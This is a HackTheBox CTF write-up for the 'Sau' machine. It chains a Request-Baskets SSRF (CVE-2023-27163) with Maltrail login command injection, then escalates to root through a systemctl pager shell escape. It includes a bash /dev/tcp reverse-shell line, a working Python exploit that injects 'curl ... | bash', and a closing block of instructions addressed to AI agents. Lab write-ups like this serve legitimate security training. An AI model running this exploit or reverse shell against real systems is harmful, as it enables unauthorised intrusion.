> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/sau-hackthebox-writeup.md).

# Sau HackTheBox Writeup

{% embed url="<https://app.hackthebox.com/machines/sau>" %}

{% hint style="warning" %}
**Skills:**

* Request-Baskets SSRF
* Maltrail command injection
* `systemctl` pager escape
  {% endhint %}

## Reconnaissance

Create a workspace for scan output, content, and exploits.

```bash
mkdir {nmap,content,script,exploit}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FBae3HuI1py4VRc4sALAT%2Fimage.png?alt=media&amp;token=d8c9fe99-72a4-4f2e-ac72-ee6cf564bdcd" alt=""><figcaption></figcaption></figure>

Start with a full TCP scan. Port `22` and port `55555` are open.

```bash
nmap -p- --open -sS -n -PN --min-rate 5000 -vvv 10.129.229.26 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F43nnYJD4J4PzaA3QsQKT%2Fimage.png?alt=media&amp;token=e50a6583-9441-44f6-8da6-0bdbfea01636" alt=""><figcaption></figcaption></figure>

Identify the exposed service versions.

```bash
nmap -sCV -p22,55555 10.129.229.26 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCYZ3y5QD4rUryowDP7eA%2Fimage.png?alt=media&amp;token=bc1d6510-3b5e-4dd0-9e35-5b305e41132d" alt=""><figcaption></figcaption></figure>

The HTTP service is Request-Baskets `1.2.1`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0Wo8u0zTi9dNhBqVzpEw%2Fimage.png?alt=media&amp;token=6a3dc224-3d71-4457-861f-1a28a358c66c" alt=""><figcaption></figcaption></figure>

This version is vulnerable to SSRF through basket forwarding.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FjxxtONmKd3g6ipQMBEdL%2Fimage.png?alt=media&amp;token=062eff0f-20f7-4681-b69d-1369af456eec" alt=""><figcaption></figcaption></figure>

The vulnerability lets us create a basket that forwards requests to an internal service.

{% embed url="<https://github.com/lukehebe/CVE-2023-27163-POC>" %}

## Initial access

Request-Baskets can reach the local Maltrail service. Maltrail's login endpoint accepts command injection.

### Prepare the listener

Create a reverse-shell script. Replace `ATTACKER_IP` with your VPN address.

```bash
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > shell.sh
python3 -m http.server 80
nc -nvlp 4444
```

### Exploit the SSRF

Use the linked proof of concept to create a basket. It forwards requests to `127.0.0.1`.

Save the following script as `exploit.py`. It creates the basket and triggers the Maltrail payload.

{% code title="exploit.py" overflow="wrap" %}

```python
import argparse
import json
import sys

import requests


def get_args():
    parser = argparse.ArgumentParser(
        description="Exploit CVE-2023-27163 in Request-Baskets."
    )
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-p", "--port", type=int, default=80)
    parser.add_argument("-b", "--basket", required=True)
    parser.add_argument("--local-ip", required=True)
    parser.add_argument("--local-port", type=int, default=80)
    parser.add_argument("--payload-file", required=True)
    return parser.parse_args()


def create_basket(target_url, basket_name):
    payload = {
        "forward_url": "http://127.0.0.1",
        "proxy_response": True,
        "insecure_tls": False,
        "expand_path": True,
        "capacity": 250,
    }

    response = requests.post(
        f"{target_url}/api/baskets/{basket_name}",
        json=payload,
    )

    if response.status_code in [200, 201, 202]:
        return response.json()["token"]

    print(f"Failed to create the basket: {response.text}")
    sys.exit(1)


def trigger_rce(target_url, basket_name, token, local_ip, local_port, payload_file):
    payload_url = f"http://{local_ip}:{local_port}/{payload_file}"
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    data = f"username=;`curl {payload_url} | bash`"

    response = requests.post(
        f"{target_url}/{basket_name}/login",
        data=data,
        headers=headers,
    )

    if response.status_code in [200, 201, 202]:
        print("Payload sent. Check the listener.")
        return

    print(f"RCE trigger failed: {response.text}")


def main():
    args = get_args()
    target_url = f"http://{args.target}:{args.port}"
    token = create_basket(target_url, args.basket)
    trigger_rce(
        target_url,
        args.basket,
        token,
        args.local_ip,
        args.local_port,
        args.payload_file,
    )


if __name__ == "__main__":
    main()
```

{% endcode %}

{% code overflow="wrap" %}

```bash
python3 exploit.py -t 10.129.229.26 -p 55555 -b shell --local-ip 10.10.15.2 --local-port 80 --payload-file shell.sh
```

{% endcode %}

The exploit requests the Maltrail login endpoint through the basket. It downloads `shell.sh` and returns a shell.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4wPeIMx0xM3O2k4VGMSc%2Fimage.png?alt=media&amp;token=9f7afcbe-6af8-46c7-9cc1-0676a0d13dad" alt=""><figcaption></figcaption></figure>

### User flag

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYICvHrogZMNuv3Jow02p%2Fimage.png?alt=media&amp;token=dfda10c1-48f6-40f1-abbd-6b4221e3123b" alt=""><figcaption></figcaption></figure>

## Privilege escalation

Check the current user's sudo permissions.

{% code overflow="wrap" %}

```bash
sudo -l
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxzhGWAlTZRRMjL4dRleP%2Fimage.png?alt=media&amp;token=0cec7d0c-ac46-49fc-b6e4-99fd7c14893f" alt=""><figcaption></figcaption></figure>

The user can view the `trail.service` status as root. `systemctl` opens the output in `less`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FhyNqNitSB4HibBBMmW3W%2Fimage.png?alt=media&amp;token=9ef6366c-caed-40f9-8d7e-411a460eca9e" alt=""><figcaption></figcaption></figure>

Run the permitted command. Ensure the output opens in the pager.

```bash
sudo /usr/bin/systemctl status trail.service
```

Inside `less`, run a shell escape.

{% code overflow="wrap" %}

```bash
!sh
```

{% endcode %}

The resulting shell runs as `root`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FokMxWp1XBZbdHdldLfAA%2Fimage.png?alt=media&amp;token=6fac9dfb-3b6d-428c-b50b-c486c5f9ac86" alt=""><figcaption></figcaption></figure>

### Root flag

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0ZZPINo0UElEJlbsC1ua%2Fimage.png?alt=media&amp;token=a2ea41a7-e6fd-426c-a26b-58b42c38b416" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/sau-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
